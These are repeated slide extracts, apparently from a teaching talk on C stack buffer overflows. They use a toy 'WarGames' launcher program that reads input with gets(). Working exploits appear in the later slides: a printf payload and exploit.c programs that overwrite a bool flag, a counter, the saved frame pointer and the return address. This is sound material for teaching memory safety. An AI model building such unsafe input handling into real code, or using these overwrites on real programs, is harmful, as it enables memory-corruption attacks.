  • 114. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } return address, next intruction in _start pointer to stack frame for _start high address low address return address, next intruction in _main pointer to stack frame for _main pointer to the response buffer return address, authenticate_and_launch() (whatever gets() needs to do) 0x50 0xfa 0xff 0xbf 0x00 0x40 0xfc 0xb7 0x00 0x00 0x00 0x00 0x00 0x39 0xe1 0xb7 0x88 0xfa 0xff 0xbf 0xa0 0x29 0xff 0xb7 0x02 0x00 0x00 0x00 0x00 0x40 0xfc 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x88 0xfa 0xff 0xbf 0x5b 0x85 0x04 0x08 allowaccess (1 byte) n_missiles (4 bytes) response (8 bytes) The following happened on my machine as I typed in: 0xbffffa40 0xbffffa6c
  • 115. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } return address, next intruction in _start pointer to stack frame for _start high address low address return address, next intruction in _main pointer to stack frame for _main pointer to the response buffer return address, authenticate_and_launch() (whatever gets() needs to do) 0x50 0xfa 0xff 0xbf 0x00 0x40 0xfc 0xb7 0x00 0x00 0x00 0x00 0x00 0x39 0xe1 0xb7 0x88 0xfa 0xff 0xbf 0xa0 0x29 0xff 0xb7 0x02 0x00 0x00 0x00 0x00 0x40 0xfc 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x88 0xfa 0xff 0xbf 0x5b 0x85 0x04 0x08 allowaccess (1 byte) n_missiles (4 bytes) response (8 bytes) The following happened on my machine as I typed in: globalthermonuclearwar 0xbffffa40 0xbffffa6c
  • 116. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } return address, next intruction in _start pointer to stack frame for _start high address low address return address, next intruction in _main pointer to stack frame for _main pointer to the response buffer return address, authenticate_and_launch() (whatever gets() needs to do) 0x50 0xfa 0xff 0xbf 0x00 0x40 0xfc 0xb7 0x00 0x00 0x00 0x00 0x00 0x39 0xe1 0xb7 'g' 'l' 'o' 'b' 'a' 'l' 't' 'h' 'e' 'r' 'm' 'o' 'n' 'u' 'c' 'l' 'e' 'a' 'r' 'w' 'a' 'r' '0' 0x00 0x88 0xfa 0xff 0xbf 0x5b 0x85 0x04 0x08 allowaccess (1 byte) n_missiles (4 bytes) response (8 bytes) The following happened on my machine as I typed in: globalthermonuclearwar 0xbffffa40 0xbffffa6c
  • 117. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } return address, next intruction in _start pointer to stack frame for _start high address low address return address, next intruction in _main pointer to stack frame for _main pointer to the response buffer return address, authenticate_and_launch() (whatever gets() needs to do) allowaccess (1 byte) n_missiles (4 bytes) response (8 bytes) 0x50 0xfa 0xff 0xbf 0x00 0x40 0xfc 0xb7 0x00 0x00 0x00 0x00 0x00 0x39 0xe1 0xb7 0x67 0x6c 0x6f 0x62 0x61 0x6c 0x74 0x68 0x65 0x72 0x6d 0x6f 0x6e 0x75 0x63 0x6c 0x65 0x61 0x72 0x77 0x61 0x72 0x00 0x00 0x88 0xfa 0xff 0xbf 0x5b 0x85 0x04 0x08 The following happened on my machine as I typed in: globalthermonuclearwar 0xbffffa40 0xbffffa6c
  • 118. return address, next intruction in _start pointer to stack frame for _start high address low address return address, next intruction in _main pointer to stack frame for _main pointer to the response buffer return address, authenticate_and_launch() (whatever gets() needs to do) allowaccess (1 byte) n_missiles (4 bytes) response (8 bytes) 0x50 0xfa 0xff 0xbf 0x00 0x40 0xfc 0xb7 0x00 0x00 0x00 0x00 0x00 0x39 0xe1 0xb7 0x67 0x6c 0x6f 0x62 0x61 0x6c 0x74 0x68 0x65 0x72 0x6d 0x6f 0x6e 0x75 0x63 0x6c 0x65 0x61 0x72 0x77 0x61 0x72 0x00 0x00 0x88 0xfa 0xff 0xbf 0x5b 0x85 0x04 0x08 0xbffffa40 0xbffffa6c
  • 119. return address, next intruction in _start pointer to stack frame for _start high address low address return address, next intruction in _main pointer to stack frame for _main pointer to the response buffer return address, authenticate_and_launch() (whatever gets() needs to do) And, now we have partly explained why we got: allowaccess (1 byte) n_missiles (4 bytes) response (8 bytes) 0x50 0xfa 0xff 0xbf 0x00 0x40 0xfc 0xb7 0x00 0x00 0x00 0x00 0x00 0x39 0xe1 0xb7 0x67 0x6c 0x6f 0x62 0x61 0x6c 0x74 0x68 0x65 0x72 0x6d 0x6f 0x6e 0x75 0x63 0x6c 0x65 0x61 0x72 0x77 0x61 0x72 0x00 0x00 0x88 0xfa 0xff 0xbf 0x5b 0x85 0x04 0x08 0xbffffa40 0xbffffa6c
  • 120. return address, next intruction in _start pointer to stack frame for _start high address low address return address, next intruction in _main pointer to stack frame for _main pointer to the response buffer return address, authenticate_and_launch() (whatever gets() needs to do) And, now we have partly explained why we got: allowaccess (1 byte) n_missiles (4 bytes) response (8 bytes) 0x50 0xfa 0xff 0xbf 0x00 0x40 0xfc 0xb7 0x00 0x00 0x00 0x00 0x00 0x39 0xe1 0xb7 0x67 0x6c 0x6f 0x62 0x61 0x6c 0x74 0x68 0x65 0x72 0x6d 0x6f 0x6e 0x75 0x63 0x6c 0x65 0x61 0x72 0x77 0x61 0x72 0x00 0x00 0x88 0xfa 0xff 0xbf 0x5b 0x85 0x04 0x08 $ ./launch WarGames MissileLauncher v0.1 Secret: globalthermonuclearwar Access granted Launching 1869443685 missiles Access denied Operation complete $ 0xbffffa40 0xbffffa6c
  • 121. return address, next intruction in _start pointer to stack frame for _start high address low address return address, next intruction in _main pointer to stack frame for _main pointer to the response buffer return address, authenticate_and_launch() (whatever gets() needs to do) And, now we have partly explained why we got: allowaccess (1 byte) n_missiles (4 bytes) response (8 bytes) 0x50 0xfa 0xff 0xbf 0x00 0x40 0xfc 0xb7 0x00 0x00 0x00 0x00 0x00 0x39 0xe1 0xb7 0x67 0x6c 0x6f 0x62 0x61 0x6c 0x74 0x68 0x65 0x72 0x6d 0x6f 0x6e 0x75 0x63 0x6c 0x65 0x61 0x72 0x77 0x61 0x72 0x00 0x00 0x88 0xfa 0xff 0xbf 0x5b 0x85 0x04 0x08 $ ./launch WarGames MissileLauncher v0.1 Secret: globalthermonuclearwar Access granted Launching 1869443685 missiles Access denied Operation complete $ 0xbffffa40 0xbffffa6c
  • 122. return address, next intruction in _start pointer to stack frame for _start high address low address return address, next intruction in _main pointer to stack frame for _main pointer to the response buffer return address, authenticate_and_launch() (whatever gets() needs to do) And, now we have partly explained why we got: allowaccess (1 byte) n_missiles (4 bytes) response (8 bytes) 0x50 0xfa 0xff 0xbf 0x00 0x40 0xfc 0xb7 0x00 0x00 0x00 0x00 0x00 0x39 0xe1 0xb7 0x67 0x6c 0x6f 0x62 0x61 0x6c 0x74 0x68 0x65 0x72 0x6d 0x6f 0x6e 0x75 0x63 0x6c 0x65 0x61 0x72 0x77 0x61 0x72 0x00 0x00 0x88 0xfa 0xff 0xbf 0x5b 0x85 0x04 0x08 $ ./launch WarGames MissileLauncher v0.1 Secret: globalthermonuclearwar Access granted Launching 1869443685 missiles Access denied Operation complete $ Because 0x6f6d7265 = 18694436850xbffffa40 0xbffffa6c
  • 123. 0x50 0xfa 0xff 0xbf 0x00 0x40 0xfc 0xb7 0x00 0x00 0x00 0x00 0x00 0x39 0xe1 0xb7 0x67 0x6c 0x6f 0x62 0x61 0x6c 0x74 0x68 0x65 0x72 0x6d 0x6f 0x6e 0x75 0x63 0x6c 0x65 0x61 0x72 0x77 0x61 0x72 0x00 0x00 0x88 0xfa 0xff 0xbf 0x5b 0x85 0x04 0x08 return address, next intruction in _start pointer to stack frame for _start high address low address return address, next intruction in _main pointer to stack frame for _main pointer to the response buffer return address, authenticate_and_launch() (whatever gets() needs to do) allowaccess (1 byte) n_missiles (4 bytes) response (8 bytes) $ ./launch WarGames MissileLauncher v0.1 Secret: globalthermonuclearwar Access granted Launching 1869443685 missiles Access denied Operation complete $ 0xbffffa40 0xbffffa6c
  • 124. 0x50 0xfa 0xff 0xbf 0x00 0x40 0xfc 0xb7 0x00 0x00 0x00 0x00 0x00 0x39 0xe1 0xb7 0x67 0x6c 0x6f 0x62 0x61 0x6c 0x74 0x68 0x65 0x72 0x6d 0x6f 0x6e 0x75 0x63 0x6c 0x65 0x61 0x72 0x77 0x61 0x72 0x00 0x00 0x88 0xfa 0xff 0xbf 0x5b 0x85 0x04 0x08 return address, next intruction in _start pointer to stack frame for _start high address low address return address, next intruction in _main pointer to stack frame for _main pointer to the response buffer return address, authenticate_and_launch() (whatever gets() needs to do) allowaccess (1 byte) n_missiles (4 bytes) response (8 bytes) $ ./launch WarGames MissileLauncher v0.1 Secret: globalthermonuclearwar Access granted Launching 1869443685 missiles Access denied Operation complete $ 0xbffffa40 0xbffffa6c
  • 125. 0x50 0xfa 0xff 0xbf 0x00 0x40 0xfc 0xb7 0x00 0x00 0x00 0x00 0x00 0x39 0xe1 0xb7 0x67 0x6c 0x6f 0x62 0x61 0x6c 0x74 0x68 0x65 0x72 0x6d 0x6f 0x6e 0x75 0x63 0x6c 0x65 0x61 0x72 0x77 0x61 0x72 0x00 0x00 0x88 0xfa 0xff 0xbf 0x5b 0x85 0x04 0x08 return address, next intruction in _start pointer to stack frame for _start high address low address return address, next intruction in _main pointer to stack frame for _main pointer to the response buffer return address, authenticate_and_launch() (whatever gets() needs to do) allowaccess (1 byte) n_missiles (4 bytes) response (8 bytes) $ ./launch WarGames MissileLauncher v0.1 Secret: globalthermonuclearwar Access granted Launching 1869443685 missiles Access denied Operation complete $ But can you explain why we got both "Access granted" and "Access denied"? 0xbffffa40 0xbffffa6c
  • 126. 0x50 0xfa 0xff 0xbf 0x00 0x40 0xfc 0xb7 0x00 0x00 0x00 0x00 0x00 0x39 0xe1 0xb7 0x67 0x6c 0x6f 0x62 0x61 0x6c 0x74 0x68 0x65 0x72 0x6d 0x6f 0x6e 0x75 0x63 0x6c 0x65 0x61 0x72 0x77 0x61 0x72 0x00 0x00 0x88 0xfa 0xff 0xbf 0x5b 0x85 0x04 0x08 return address, next intruction in _start pointer to stack frame for _start high address low address return address, next intruction in _main pointer to stack frame for _main pointer to the response buffer return address, authenticate_and_launch() (whatever gets() needs to do) allowaccess (1 byte) n_missiles (4 bytes) response (8 bytes) $ ./launch WarGames MissileLauncher v0.1 Secret: globalthermonuclearwar Access granted Launching 1869443685 missiles Access denied Operation complete $ But can you explain why we got both "Access granted" and "Access denied"? The observed phenomenon can actually be explained if you know how my compiler works with bool values. 0xbffffa40 0xbffffa6c
  • 127. 0x50 0xfa 0xff 0xbf 0x00 0x40 0xfc 0xb7 0x00 0x00 0x00 0x00 0x00 0x39 0xe1 0xb7 0x67 0x6c 0x6f 0x62 0x61 0x6c 0x74 0x68 0x65 0x72 0x6d 0x6f 0x6e 0x75 0x63 0x6c 0x65 0x61 0x72 0x77 0x61 0x72 0x00 0x00 0x88 0xfa 0xff 0xbf 0x5b 0x85 0x04 0x08 return address, next intruction in _start pointer to stack frame for _start high address low address return address, next intruction in _main pointer to stack frame for _main pointer to the response buffer return address, authenticate_and_launch() (whatever gets() needs to do) allowaccess (1 byte) n_missiles (4 bytes) response (8 bytes) $ ./launch WarGames MissileLauncher v0.1 Secret: globalthermonuclearwar Access granted Launching 1869443685 missiles Access denied Operation complete $ But can you explain why we got both "Access granted" and "Access denied"? The observed phenomenon can actually be explained if you know how my compiler works with bool values. 0xbffffa40 0xbffffa6c int n_missiles = 2; bool allowaccess = false; char response[8]; ... if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");
  • 128. 0x50 0xfa 0xff 0xbf 0x00 0x40 0xfc 0xb7 0x00 0x00 0x00 0x00 0x00 0x39 0xe1 0xb7 0x67 0x6c 0x6f 0x62 0x61 0x6c 0x74 0x68 0x65 0x72 0x6d 0x6f 0x6e 0x75 0x63 0x6c 0x65 0x61 0x72 0x77 0x61 0x72 0x00 0x00 0x88 0xfa 0xff 0xbf 0x5b 0x85 0x04 0x08 return address, next intruction in _start pointer to stack frame for _start high address low address return address, next intruction in _main pointer to stack frame for _main pointer to the response buffer return address, authenticate_and_launch() (whatever gets() needs to do) allowaccess (1 byte) n_missiles (4 bytes) response (8 bytes) $ ./launch WarGames MissileLauncher v0.1 Secret: globalthermonuclearwar Access granted Launching 1869443685 missiles Access denied Operation complete $ But can you explain why we got both "Access granted" and "Access denied"? The observed phenomenon can actually be explained if you know how my compiler works with bool values. 0xbffffa40 0xbffffa6c int n_missiles = 2; bool allowaccess = false; char response[8]; ... if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");
  • 129. 0x50 0xfa 0xff 0xbf 0x00 0x40 0xfc 0xb7 0x00 0x00 0x00 0x00 0x00 0x39 0xe1 0xb7 0x67 0x6c 0x6f 0x62 0x61 0x6c 0x74 0x68 0x65 0x72 0x6d 0x6f 0x6e 0x75 0x63 0x6c 0x65 0x61 0x72 0x77 0x61 0x72 0x00 0x00 0x88 0xfa 0xff 0xbf 0x5b 0x85 0x04 0x08 return address, next intruction in _start pointer to stack frame for _start high address low address return address, next intruction in _main pointer to stack frame for _main pointer to the response buffer return address, authenticate_and_launch() (whatever gets() needs to do) allowaccess (1 byte) n_missiles (4 bytes) response (8 bytes) $ ./launch WarGames MissileLauncher v0.1 Secret: globalthermonuclearwar Access granted Launching 1869443685 missiles Access denied Operation complete $ But can you explain why we got both "Access granted" and "Access denied"? The observed phenomenon can actually be explained if you know how my compiler works with bool values. My compiler assumes that bool values are always stored as either 0x00 or 0x01. In this case we have messed up the internal representation, so allowaccess is now neither true or false.The machine code generated for this program first evaluated allowaccess to be not false and therefore granted access, then it evaluated allowaccess to be not true and access was denied (*). (*) see http://www.pvv.org/~oma/UnspecifiedAndUndefined_ACCU_Apr2013.pdf for detailed explanation of this phenomenon 0xbffffa40 0xbffffa6c int n_missiles = 2; bool allowaccess = false; char response[8]; ... if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");
  • 130. int n_missiles = 2; bool allowaccess = false; char response[8]; ... if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); int n_missiles = 2; char allowaccess = 0x00; char response[8]; ... if (allowaccess != 0x00) { puts("Access granted"); launch_missiles(n_missiles); } if (allowaccess != 0x01) puts("Access denied"); pseudo assemblerC code Aside: why did we get both access granted and access denied? gcc
  • 131. int n_missiles = 2; bool allowaccess = false; char response[8]; ... if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); int n_missiles = 2; char allowaccess = 0x00; char response[8]; ... if (allowaccess != 0x00) { puts("Access granted"); launch_missiles(n_missiles); } if (allowaccess != 0x01) puts("Access denied"); pseudo assemblerC code Aside: why did we get both access granted and access denied? gcc (somehow allowaccess becomes 0x6c)
  • 132. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } launch.c return address, next intruction in _start pointer to stack frame for _start high address low address return address, next intruction in _main pointer to stack frame for _main pointer to the response buffer return address, authenticate_and_launch() (whatever gets() needs to do) allowaccess (1 byte) n_missiles (4 bytes) response (8 bytes)
  • 133. $ printf "12345678x2a000xxx1" | ./launch WarGames MissileLauncher v0.1 Secret: Access granted Launching 42 missiles Operation complete $ void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } launch.c return address, next intruction in _start pointer to stack frame for _start high address low address return address, next intruction in _main pointer to stack frame for _main pointer to the response buffer return address, authenticate_and_launch() (whatever gets() needs to do) allowaccess (1 byte) n_missiles (4 bytes) response (8 bytes)
  • 134. $ printf "12345678x2a000xxx1" | ./launch WarGames MissileLauncher v0.1 Secret: Access granted Launching 42 missiles Operation complete $ void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } launch.c return address, next intruction in _start pointer to stack frame for _start high address low address return address, next intruction in _main pointer to stack frame for _main pointer to the response buffer return address, authenticate_and_launch() (whatever gets() needs to do) allowaccess (1 byte) n_missiles (4 bytes) response (8 bytes) response
  • 135. $ printf "12345678x2a000xxx1" | ./launch WarGames MissileLauncher v0.1 Secret: Access granted Launching 42 missiles Operation complete $ n_missiles allowaccess void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } launch.c return address, next intruction in _start pointer to stack frame for _start high address low address return address, next intruction in _main pointer to stack frame for _main pointer to the response buffer return address, authenticate_and_launch() (whatever gets() needs to do) allowaccess (1 byte) n_missiles (4 bytes) response (8 bytes) response
  • 136. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } launch.c
  • 137. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } launch.c int main(void) { struct { uint8_t buffer[8]; int n_missiles; uint8_t padding1[3]; bool allowaccess; } sf; memset(&sf, 0, sizeof sf); sf.allowaccess = true; sf.n_missiles = 42; fwrite(&sf, sizeof sf, 1, stdout); putchar('n'); } exploit.c
  • 138. $ ./exploit | ./launch WarGames MissileLauncher v0.1 Secret: Access granted Launching 42 missiles Operation complete $ void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } launch.c int main(void) { struct { uint8_t buffer[8]; int n_missiles; uint8_t padding1[3]; bool allowaccess; } sf; memset(&sf, 0, sizeof sf); sf.allowaccess = true; sf.n_missiles = 42; fwrite(&sf, sizeof sf, 1, stdout); putchar('n'); } exploit.c
  • 139. $ ./exploit | ./launch WarGames MissileLauncher v0.1 Secret: Access granted Launching 42 missiles Operation complete $ void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } 0x50 0xfa 0xff 0xbf 0x00 0x40 0xfc 0xb7 0x00 0x00 0x00 0x00 0x00 0x39 0xe1 0xb7 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x2a 0x00 0x00 0x00 0x00 0x00 0x00 0x01 0x65 0x61 0x72 0x77 0x61 0x72 0x00 0x00 0x88 0xfa 0xff 0xbf 0x5b 0x85 0x04 0x08 0xbffffa40 0xbffffa6c launch.c int main(void) { struct { uint8_t buffer[8]; int n_missiles; uint8_t padding1[3]; bool allowaccess; } sf; memset(&sf, 0, sizeof sf); sf.allowaccess = true; sf.n_missiles = 42; fwrite(&sf, sizeof sf, 1, stdout); putchar('n'); } exploit.c
  • 140. $ ./exploit | ./launch WarGames MissileLauncher v0.1 Secret: Access granted Launching 42 missiles Operation complete $ void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } 0x50 0xfa 0xff 0xbf 0x00 0x40 0xfc 0xb7 0x00 0x00 0x00 0x00 0x00 0x39 0xe1 0xb7 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x2a 0x00 0x00 0x00 0x00 0x00 0x00 0x01 0x65 0x61 0x72 0x77 0x61 0x72 0x00 0x00 0x88 0xfa 0xff 0xbf 0x5b 0x85 0x04 0x08 0xbffffa40 0xbffffa6c launch.c int main(void) { struct { uint8_t buffer[8]; int n_missiles; uint8_t padding1[3]; bool allowaccess; } sf; memset(&sf, 0, sizeof sf); sf.allowaccess = true; sf.n_missiles = 42; fwrite(&sf, sizeof sf, 1, stdout); putchar('n'); } exploit.c
  • 141. int main(void) { struct { uint8_t buffer[8]; int n_missiles; uint8_t padding1[3]; bool allowaccess; } sf; memset(&sf, 0, sizeof sf); sf.allowaccess = true; sf.n_missiles = 42; fwrite(&sf, sizeof sf, 1, stdout); putchar('n'); } void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } 0x50 0xfa 0xff 0xbf 0x00 0x40 0xfc 0xb7 0x00 0x00 0x00 0x00 0x00 0x39 0xe1 0xb7 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x2a 0x00 0x00 0x00 0x00 0x00 0x00 0x01 0x65 0x61 0x72 0x77 0x61 0x72 0x00 0x00 0x88 0xfa 0xff 0xbf 0x5b 0x85 0x04 0x08 0xbffffa40 0xbffffa6c
  • 142. int main(void) { struct { uint8_t buffer[8]; int n_missiles; uint8_t padding1[3]; bool allowaccess; } sf; memset(&sf, 0, sizeof sf); sf.allowaccess = true; sf.n_missiles = 42; fwrite(&sf, sizeof sf, 1, stdout); putchar('n'); } void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } 0x50 0xfa 0xff 0xbf 0x00 0x40 0xfc 0xb7 0x00 0x00 0x00 0x00 0x00 0x39 0xe1 0xb7 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x2a 0x00 0x00 0x00 0x00 0x00 0x00 0x01 0x65 0x61 0x72 0x77 0x61 0x72 0x00 0x00 0x88 0xfa 0xff 0xbf 0x5b 0x85 0x04 0x08 0xbffffa40 0xbffffa6c But hey! Why stop with the stack variables, can we have fun with the return address as well?
  • 143. int main(void) { struct { uint8_t buffer[8]; int n_missiles; uint8_t padding1[3]; bool allowaccess; } sf; memset(&sf, 0, sizeof sf); sf.allowaccess = true; sf.n_missiles = 42; fwrite(&sf, sizeof sf, 1, stdout); putchar('n'); } void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } 0x50 0xfa 0xff 0xbf 0x00 0x40 0xfc 0xb7 0x00 0x00 0x00 0x00 0x00 0x39 0xe1 0xb7 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x2a 0x00 0x00 0x00 0x00 0x00 0x00 0x01 0x65 0x61 0x72 0x77 0x61 0x72 0x00 0x00 0x88 0xfa 0xff 0xbf 0x5b 0x85 0x04 0x08 0xbffffa40 0xbffffa6c But hey! Why stop with the stack variables, can we have fun with the return address as well?
  • 144. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); }
  • 145. int main(void) { struct { uint8_t buffer[8]; int n_missiles; uint8_t padding1[3]; bool allowaccess; uint8_t padding2[8]; void * saved_ebp; void * return_address; } sf; memset(&sf, 0, sizeof sf); sf.allowaccess = true; sf.n_missiles = 3; sf.saved_ebp = (void*)0xbffffa88; sf.return_address = (void*)0x080484c8; while (true) { sf.n_missiles++; fwrite(&sf, sizeof sf, 1, stdout); putchar('n'); } } void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); }
  • 146. int main(void) { struct { uint8_t buffer[8]; int n_missiles; uint8_t padding1[3]; bool allowaccess; uint8_t padding2[8]; void * saved_ebp; void * return_address; } sf; memset(&sf, 0, sizeof sf); sf.allowaccess = true; sf.n_missiles = 3; sf.saved_ebp = (void*)0xbffffa88; sf.return_address = (void*)0x080484c8; while (true) { sf.n_missiles++; fwrite(&sf, sizeof sf, 1, stdout); putchar('n'); } } $ ./exploit | ./launch WarGames MissileLauncher v0.1 Secret: Access granted Launching 4 missiles Secret: Access granted Launching 5 missiles Secret: Access granted Launching 6 missiles ... void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); }
